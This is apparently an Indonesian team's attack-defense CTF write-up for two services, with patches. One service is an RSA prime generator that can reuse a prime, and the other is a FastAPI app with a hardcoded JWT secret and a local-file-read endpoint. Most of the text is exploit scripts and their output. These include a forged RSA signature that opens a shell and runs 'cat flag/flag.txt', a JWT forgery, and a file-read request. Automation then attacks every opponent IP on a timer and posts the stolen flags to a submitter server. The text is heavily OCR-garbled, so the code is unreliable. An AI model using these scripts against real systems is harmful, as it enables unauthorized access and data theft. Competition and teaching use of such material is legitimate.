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Prime-Generator (Service 3)

0s

random
Crypto.Util.number getPrime
hashlib sha256

time

random.seed(sha256(str(int(time.time())).encode()).digest())

get_random_bytes(x):
random.getrandbits(x*8).to_bytes(x, "big")
primes = [getPrime(512, get random_bytes) . range(10) ]

gen_pubkey():
primes
random.choice(primes)
random.choice(primes)
= p*q
) primes: primes.remove(p)
q primes: primes.remove(q)

n, p, 9

print('Are you an admin?')
admin_context = input('>> ').strip()
is_admin =
sha256(open("./flag/flag.txt","rb").read().strip()).hexdigest() ==
admin_context:
is_admin =

e = 0x10001
n, p, q = gen_pubkey()
print("The public key:", n)
is_admin:
print(f'{p
print(f'{q
len(primes) > 0:
print("1. Encrypt")
print("2. Regenerate Public Key")
print("3. Admin Login")
print("4. Exit")
choice = int(input(">> "))
choice ==
= int(input("Enter your message: "))
m< n:

)
)




c = pow(m, e, n)
print(f"Encrypted message: {c}")

print("Message too long")
choice ==
n, p, q = gen_pubkey()
print("The public key:", n)
is_admin:
print(f'{p
print(f'{q
choice ==
print("Please sign the following captcha")
captcha = os.urandom(16)
print(captcha.hex())
sig = int(input("Enter the signature: "))
pow(sig, e, n) == int.from bytes(captcha, "big"):
os.system("sh")

print("Invalid signature")
choice ==
print("Invalid choice")

print("out of primes")

Executive Summary

Kode diatas merupakan kode enkripsi RSA yang mana user dapat melakukan
enkripsi pada opsi 1, lalu men generate public key baru pada opsi 2, dan
melakukan verifikasi sig pada opsi 3 yang mana ini lah nantinya yang akan di
eksploitasi. Pada opsi ke-3, jika sig(input user)**e%n memiliki nilai yang
sama dengan captcha yang sudah diberikan sebelumnya maka user akan
mendapatkan shell sh, dimana sig(input user)**e%n adalah hasil dekripsi dari
captcha itu sendiri.



Attack Vector

Pertama-tama kami melakukan proses debug kode diatas dengan mengeprint p dan
g pada saat men generate publik key baru yaitu pada opsi 2

pyth: server.py
Are you an admin?
>> ya

53121341470745324399U51144181910940678807261492225868023714U51614368622337116435080805219124579749206548385433334903
1. Encrypt

. Regenerate Public Key

. Admin Login

. Exit

>> 2
The public key: 1392U764817971352999089649616500258504U7130950L65087114927997139U61193159589653988021006351586775532667080995171108574387310846491842613503U1132322T
55825257551010880303727479087550798U0L6T729779U3703024890209261770163965941912165356293305611395387111349888334200757
p = 124375631995998585U60350010650335788957397513U7196906034495628109U076658060U6U0997877509997768U08439739510316U021125056518457767504668332995249TUL5062U856LT
= 1119568503452U559254400036086150582237719662767527338256319114599817787071355487000197619355606158805565226197832766852359801762153197180429513981962123131

]
1. Encrypt
2. Regenerate Public Key
3. Admin Login
4. Exit
>> 2
The public key: 9598U513U00360LL2273238159272583U98265819629371268763288935310UU6U01296937L8UT7630791150U805366U96U79738061529976U887806590L98281022U6LA2627695U3 79
135376203772137808983865400492235811089983503850314729298753538439961317996183012762564509273403181206772744862751U9
p = 9082326237877573U3705932010352278175773038203818883U77504885575851839799244223127230345120719429058351576972U7651231828523357796057379187526U8877U23873567
q = 105594658117865773782904720874705819059192844771313228951981255932928111683538797328392229582620601918729121106048511601549632101408307516560053620109025U7
1. Encrypt
2. Regenerate Public Key
3. Admin Login
u. Exit
>> 2
The public key: 832612834902181676592844182630148906879197839033U35910876759905233159074572552376196292630881851638519583896555U36861711037831633U41962132U5066989U7T
908015926661255177789693770381U61858U672118017829187256389907U1620660896367396U76178608112716803635850367356286919U1
= 9088002521279U59875947239707531029038088259385703151533125347991208806342788548008608U91779431094121727792018U55966UU297555886L211U58080448966635U783586507
= 91616703775483638U3843556016421U4662957937691415692226497963038U710677567830512456567378003705800066940028608U8586628778001229911439899U623168023157991686063
. Encrypt
. Regenerate Public Key
. Admin Login
. Exit
>> 2

3317956920326338168357U5127157502377923886849354150U473U308U5953007182U39260208916925366U9U9772375656U748269176521689
= 1109749083153774262U475U29508716588071180U86U40869826161521228867918919590553U2256543706691322956U11011357U19767774U53088633657739U25087742U356569U8752U9853
= 11e9749083153774262475429508716588071180U86L40869826161521228867918919592055342256543706691322956U11011357419767774453088633657739425087742U356569U8752U9853
. Encrypt
D

. Admin Login
. Exit

Disini kami menemukan sesuatu yang menarik, kami menemukan adanya p dan q
yang sama. Nah bagaimana ini bisa terjadi?

Fungsi gen pubkey() memilih dua bilangan prima (p dan q) dari daftar global
bilangan prima yang sudah dibuat sebelumnya. Setelah digunakan untuk
menghasilkan kunci publik n = p * q, bilangan prima tersebut dihapus dari
daftar. Namun, penghapusan ini dilakukan setelah bilangan prima dipilih,
sehingga ada kemungkinan bilangan prima yang sama dipilih untuk p dan q. Jika

F) == (1 .

Lalu attack ideanya kami adalah kami mencari nilai p dari akar kuadrat n,
lalu melakukan operasi jika p*p==n, maka kita dapat menghitung phi yang
nantinya juga digunakan untuk menghitung d (private key) untuk melakukan
dekripsi captcha untuk mendapatkan shell

n:

=p*(p-1)
inverse(e, phi)




Setelah menghitung d, maka kami langsung melakukan dekripsi captcha yang
sudah tersedia dengan metode RSA standar seperti biasa. Dan setelah berhasil,
kami melakukan pemanggilan dengan cat flag/flag.txt. Berikut solver kami

Crypto.Util.number
math

pwn
time

io = remote("10.0.32.64", 10003)

io.sendlineafter(b">> ", b"ya")
e = 0x10001

time.sleep(0.1)
io.sendlineafter(b">> ", b"2")

int(io.recvline().strip().split(b

math.isqrt(n)

p *p ==n:

print(“yes")

phi =p * (p - 1)

d = inverse(e, phi)
io.sendlineafter(b">> ", b"3")

io.recvline()

captcha = io.recvline().strip()

captcha_bytes = bytes.fromhex(captcha.decode())
captcha_value = bytes_to_long(captcha_bytes)

sig = pow(captcha_value, d, n)
io.sendlineafter(b"Enter the signature:
io.sendline(b"cat flag/flag.txt")

flag = io.recvline().strip().decode()

, str(sig).encode())

print(f"[+] Flag: {flag}")

~fLKSN_ATTDEF/service 1

SV.py
[+] Opening connection to 18.8.32.84 on port 18883: Done

[+] Flag: flag{zaatadz3keibid6ssls3acnsvld7Syqgs}
[*] Closed connection to 18.8.32.84 port 18883

~fLKSN_ATTDEF/service 1




Kode diatas merupakan script exploit untuk mendapatkan flag user. Untuk
mempermudah kami membuat automation script berikut yang akan menjalankan
solver setiap 1 tick ke semua target.

requests
multiprocessing
time

Crypto.Util.number
math

pwn

SUBMITTER_SERVER = "http://10.0.3.17:5000/submit"
ATTDEF_SERVER = "https://and-be.idcyberskills.com/api/v2/"

TOKEN = open('/tmp/token.txt"').read().strip()
TOKEN:
print("[-] Token not found")

exit()

CHALL_ID = '3'
CHALL_PORT = 10003

exploit(target, port):

flag = ""
io = remote(target, port, level="error"

io.sendlineafter(b">> ", b"ya")
e = 0x10001

time.sleep(0.1)
io.sendlineafter(b">> ", b"2")

int(io.recvline().strip().split(b": ")[1])
math.isqrt(n)
p*p==n:

phi =p * (p - 1)

= inverse(e, phi)
io.sendlineafter(b">> ", b"3")
io.recvline()




captcha = io.recvline().strip()
captcha bytes = bytes.fromhex(captcha.decode())
captcha value = bytes to long(captcha bytes)

sig = pow(captcha value, d, n)
io.sendlineafter(b"Enter the signature: ", str(sig).encode())

io.sendline(b"cat flag/flag.txt")
flag = io.recvline().strip().decode()

flag:
Exception("Flag not found")

io.close()
flag
Exception e:
print(f"[-] Error: {e} ({target})")

process_exploit(target_ip, port):

print(f"[+] Target IP: {target_ip}")

flag = exploit(target_ip, CHALL_PORT)

flag:
print(f"[-] Exploit failed ({target_ip})")

print(f"[+] Flag: {flag} ({target_ip})")

requests.post(SUBMITTER_SERVER, json={'flag': [flag]})
Exception e:
print(f"[-] Error: {e}")

main():
target_ip list = requests.get(ATTDEF_SERVER + "services",
headers={"'Authorization': f'Bearer {TOKEN}'}).json()['data'][CHALL_ID]
timer = 0

timer > O:
print(f"[+] Next Exploit in: {timer} seconds", end="\r")




timer -= 1
time.sleep(1)

target _id, target ip target ip list.items():
process = multiprocessing.Process(target=process exploit, args=(target_ip,
CHALL_PORT))
process.start()

timer = 300

__name__
main()

flag{bcodjo&7vf56mfisb2ycccelto2siait}
flag{gk33a64vedx9cmldccnxnélkoc

flag{43105m2 rwntd

flag{1lpndlotpe

3yrnlam6fe}

vz7ji9pip7}

flag{gtml466mjzilzum9slaeu2cobp2cdnak}

oit in: 196

(Hasil automation script)



Defense

Untuk melakukan patching/perbaikan pada kode termaksud, kami menambahkan
beberapa baris kode pada fungsi gen_pubkey()

gen_pubkey():

primes
random.choice(primes)
random.choice(primes)

p == q:

gen_pubkey ()

primes: primes.remove(p)
primes: primes.remove(q)

n, p, 9

Tambahan baris if p==q. ini melakukan pengecekkan jika nilai p sama dengan
nilai q maka fungsi akan men generate ulang, ini mencegah adanya p dan q yang
sama sehingga tidak dapat dilakukan exploit prima yang sama.

Conclusion

Vulnerability pada Penggunaan Ulang Bilangan Prima

e Deskripsi: Fungsi gen_pubkey() memilih dua bilangan prima (p dan q)
dari daftar global bilangan prima yang sudah dibuat sebelumnya. Setelah
digunakan untuk menghasilkan kunci publik n = p * q, bilangan prima
tersebut dihapus dari daftar. Namun, penghapusan ini dilakukan setelah
bilangan prima dipilih, sehingga ada kemungkinan bilangan prima yang
sama dipilih untuk p dan q. Jika p == g, maka n sebenarnya adalah p”2,
yang membuat keamanan RSA sangat lemah karena faktorisasi n menjadi
sangat mudah (cukup dengan mengambil akar kuadrat).

e Ide Serangan: Jika penyerang menyadari bahwa p == q, penyerang dapat
dengan mudah memfaktorkan n dengan mengambil akar kuadratnya, sehingga
bisa membobol enkripsi RSA.



Auther (Service 1)

fastapi FastAPI, HTTPException, Header, UploadFile
pydantic BaseModel
typing Optional

hashlib

jwt

0s

uuid

app = FastAPI()
flag path = os.getcwd() + '/flag/flag.txt'
secret = "VERY_SECURE"

User(BaseModel):
username: Optional[str]
password: Optional[str]
data: Optional[str] =

users = {}
files {}

update_admin():
f = open(flag path, "rb")
flag = f.read().strip()
f.close()

hasher = hashlib.sha256()
hasher.update(flag)

users["admin"] = User()
users["admin"].username = "admin"
users["admin"].password = hasher.hexdigest()
users["admin"].data = flag

create_initial file():

files['ping'] = 'pong'
f = open('ping', 'w')
f.write('pong')
f.close()




register(user: User):
update _admin()
user.username users:
HTTPException(status_code=400, detail="username already
registered")
users[user.username] = user
user

login(user: User):
update_admin()
user.username users:
HTTPException(status code=404, detail="user not found")
usr = users[user.username]
user.password != usr.password:
HTTPException(status_code=401, detail="wrong password")

encoded_jwt = jwt.encode({
"username": user.username,
}, secret, algorithm="HS256", headers={
"alg": "HS256",
"typ": "IWT"
})
{

"token": encoded_ jwt,

upload_file(filename: Optional[str], file: Optional[UploadFile] =

None) :

filename:
filename = str(uuid.uuid4())
filename files:
{"filename": filename, "content": files[filename]}
os.path.isfile(filename):
{"filename": filename, "content": open(filename).read()}
content = file.read()
files[filename] = content
{"filename": filename, "content": content}

"error": "upload a file"}




get_data(user: Optional[User] = None, authorization: str =
Header(None)):
update_admin()

data = jwt.decode(authorization, secret, algorithms=['HS256'])
data[ 'username'] users

HTTPException(status_code=401, detail="wrong token")
user.username users:
HTTPException(status_code=401, detail="username invalid")
users[user.username]

update_admin()
create_initial file()

Executive Summary

Aplikasi merupakan aplikasi web sederhana yang dibuat dengan python. Aplikasi
memiliki 4 buah endpoint. 2 endpoint autentikasi, dan 2 endpoint lain.
Endpoint registrasi akan melakukan registrasi user dan akan disimpan dalam
memory (variable) dengan mengabaikan username yang sudah ada, dalam hal ini
adalah username admin. Endpoint login akan melakukan pengecekan username dan
password generate jwt token dengan secrets. Endpoint data akan menampilakan
data user dan flag apabila username adalah admin. Endpoint upload akan
melakukan mengembalikan content dari sebuah file (file user, ataupun file
local server)

Attack Vector

- Insecure JWT Secrets (Vuln 1)
Insecure jwt secret terjadi pada penggunaan secrets yang tidak aman untuk jwt
token. Secret yang digunakan adalah sebuah string €¢VERY_SECURE’. dengan ini
kita bisa membuat sebuah fake session dengan username admin untuk mendapatkan
flag. Karena untuk mendapatkan flag diharuskan field username yang ada pada
token harus sama dengan username yang ada pada req body. Contoh berikut
merupakan cara untuk membuat token jwt.



import jwt

print(jwt.encode({"username": "admin"}, "VERY SECURE", ="HS256", ={"alg": "HS256", "typ":

"JWT"}))
TERMINAL

(kali® kali) - [~/Public/lksn/auther]
$ coba.py
eyJhbGci0iJIUzIINiIsInR5cCI6 eyJlc2Vy y N9nQjHArtrgsihK7ey. zz1YMmnM

Attack untuk mendapatkan flag bisa dilakukan dengan cara mengirim token
dengan username admin, dan juga req.body dengan username admin.

requests
jwt
exploit(target, port):

res = requests.post(f"http://{target}:{port}/data", json={'username':
'admin'}, headers={'Authorization': jwt.encode({'username': "admin'},
'"VERY_SECURE', algorithm='HS256')})
flag = res.json()['data’]
flag:
Exception("Flag not found")

flag
Exception e:
print(f"[-] Error: {e} ({target})")
print(exploit('10.0.32.60"', 8000))

—(kali® kali) - [~/Public/lksn/attdef exploit template]
test.p
flag{nojp@l9ghjdc ikoeij2t5rqr

Kode diatas merupakan script exploit untuk mendapatkan flag user. Untuk
mempermudah kami membuat automation script berikut yang akan menjalankan
solver setiap 1 tick ke semua target.

requests

multiprocessing
time




jwt

SUBMITTER_SERVER = "http://10.0.3.17:5000/submit"
ATTDEF_SERVER = "https://and-be.idcyberskills.com/api/v2/"

TOKEN = open('/tmp/token.txt").read().strip()
TOKEN:
print("[-] Token not found")

exit()

CHALL_ID = '3'
CHALL_PORT = 8000

exploit(target, port):

res = requests.post(f"http://{target}:{port}/data"”, json={'username':
'admin'}, headers={'Authorization': jwt.encode({'username': "admin'},
"VERY_SECURE', algorithm="'HS256')})

flag = res.json()['data’]

flag:
Exception("Flag not found")

flag
Exception e:

print(f"[-] Error: {e} ({target})")

process_exploit(target_ip, port):

print(f"[+] Target IP: {target ip}")

flag = exploit(target_ip, CHALL_PORT)
flag:
print(f"[-] Exploit failed ({target_ip})")
print(f"[+] Flag: {flag} ({target_ip})")

requests.post(SUBMITTER _SERVER, json={'flag': [flag]})
Exception e:




print(f"[-] Error: {e}")

main():
target _ip list = requests.get(ATTDEF_SERVER + "services",
headers={'Authorization': f'Bearer {TOKEN}'}).json()['data'][CHALL_ID]
timer = ©

timer > O:

print(f"[+] Next Exploit in: {timer} seconds", end="\r")
timer -= 1

time.sleep(1)

target_id, target_ip target _ip list.items():
process = multiprocessing.Process(target=process_exploit,
args=(target_ip, CHALL_PORT))
process.start()

timer = 300




t at
?2.63 timed out.

(Hasil automation script)

- LFI (Vuln 2)
Vuln ini didapatkan pada endpoint upload. Tepatnya pada 3 pengecekan berikut:

if not filename:
filename = str(uuid.uuid4())
if filename in files:
return {"filename": filename, "content": files[filename]}

le(filename) :

turn {"filename": filename, "content": open(filename).read()}

Pengecekan secara sederhana akan mengambil value dari variable files yang
sudah diupload jika nama file ada pada variable, atau akan mengambil local
file apabila file tersebut ada pada local file server, selebihnya akan
mengambil content dari file yang kita upload. Vuln ini terjadi pada
pengambilan content local file server. Dengan ini kita bisa mengisi filename
dengan path ke flag user yaitu ¢./flag/flag.txt’.



import requests

print(requests.post('http://10.0.32.69:8000/upload', ={'filename': 'flag/flag.txt'}).json())

[j—ikaliﬁékali}-:wauhlicflksnXattdef_exploit_template]
$ test-2.py
{"filename":"flag/flag.txt","content":"flag{lmSoyq7firvkg5ghhub&5q019r5vumaj}\n"}

Script diatas akan mengirim params filename yang nantinya akan berisi path
menuju flag. Untuk mempermudah exploitasi kami juga membuat automate solver
untuk mendapatkan semua flag dari target.

requests
multiprocessing
time

jwt

SUBMITTER_SERVER = "http://10.0.3.17:5000/submit"
ATTDEF_SERVER = "https://and-be.idcyberskills.com/api/v2/"

TOKEN = open('/tmp/token.txt").read().strip()

TOKEN:
print("[-] Token not found")
exit()

CHALL_ID = '3'
CHALL_PORT = 8000

exploit(target, port):

flag = requests.post(f'http://{target}:{port}/upload’,
params={'filename': 'flag/flag.txt'}).json()[ 'content'].strip()

flag:
Exception("Flag not found")

flag
Exception e:
print(f"[-] Error: {e} ({target})")




process_exploit(target_ip, port):

print(f"[+] Target IP: {target ip}")
flag = exploit(target_ip, CHALL_PORT)

flag:
print(f"[-] Exploit failed ({target_ip})")

print(f"[+] Flag: {flag} ({target_ip})")

requests.post(SUBMITTER _SERVER, json={'flag': [flag]})
Exception e:
print(f"[-] Error: {e}")

main():
target_ip list = requests.get(ATTDEF_SERVER + "services",
headers={"'Authorization': f'Bearer {TOKEN}'}).json()['data'][CHALL_ID]
timer = 0

timer > O:

print(f"[+] Next Exploit in: {timer} seconds", end="\r")
timer -=1

time.sleep(1)

target_id, target_ip target_ip list.items():
process = multiprocessing.Process(target=process_exploit,
args=(target_ip, CHALL PORT))
process.start()

timer = 300




flag{jug21389jréoygagocd2wty’

udhxu7o5} (10.

flag{guxhxzotlk5id4ewr9ldcf 9} (10.

flag{zct 36hh2qw

flag{heqg2tuyc nshe pOe s} (10.
gyouji7} (16.
flag{veeruplg3 - peEe d} (1.
flag{xplzjs ujsg rf7e 5} (10.
flag{nojpB19ghjdc
flag{1jxm199iq75cC
flag{nnghj7qo7zjrd4b61lndhoqdidiqt3slb}
flag{f2e6bidylvqomj5vn5fiq69vs00twgg7}

Exploit in:

(Hasil automate solver)

Defense

- Insecure JWT Secrets (Vuln 1)
Untuk melakukan perbaikan/patch pada kerentanan ini sebenarnya sangat
sederhana. Kita hanya perlu mengganti secret menjadi string random yang cukup
kuat. Saya menggunakan md5 dari urandom seperti pada capture berikut

root@ip-10-8-32-69: /usr/local/share/prime—generator# head —c 32 /dev/urandom | md5sum
Saleabf29761f9U291d9%e2876c3bf152 -
root@ip-10-0-32-69: /usr/local/share/prime-generatort

Dan ganti secret yang ada pada source code.

app = FastAPI()
flag_path = os.getcwd() + '/flag/flag.txt’

secret = "466T51e4@2f0a707b672cH68eaae7b267"

Berikut merupakan hasil patch tim kami yang ada pada server.



- LFI (Vuln 2)
Untuk melakukan perbaikan/patch pada kerentanan 1fi, kami membatasi/tidak
mengizinkan user untuk mengakses local file, pembatasan ini berupa error yang
akan muncul apabila user mencoba mengakses local file yang kami miliki.

Dapp.post( " upl

"content”: files[fil

1="cannot read loc

"content”: con

Jadi user hanya bisa mengembalikan konten dari file yang mereka upload.

Tambahan

- Capture semua solver tim kami

Solver dari kiri ke kanan, auther vuln 1 (jwt), auther vuln 2 (1fi),
prime-generator



- Capture flag submiter

- Automation Template
- https://github.com/evandrarf/attdef exploit template (Solver Template)
- https://github.com/evandrarf/attdeff submiter (Flag Submiter)

Terima kasih Admin dan Pak Juri sekalian


https://github.com/evandrarf/attdef_exploit_template
https://github.com/evandrarf/attdeff_submiter

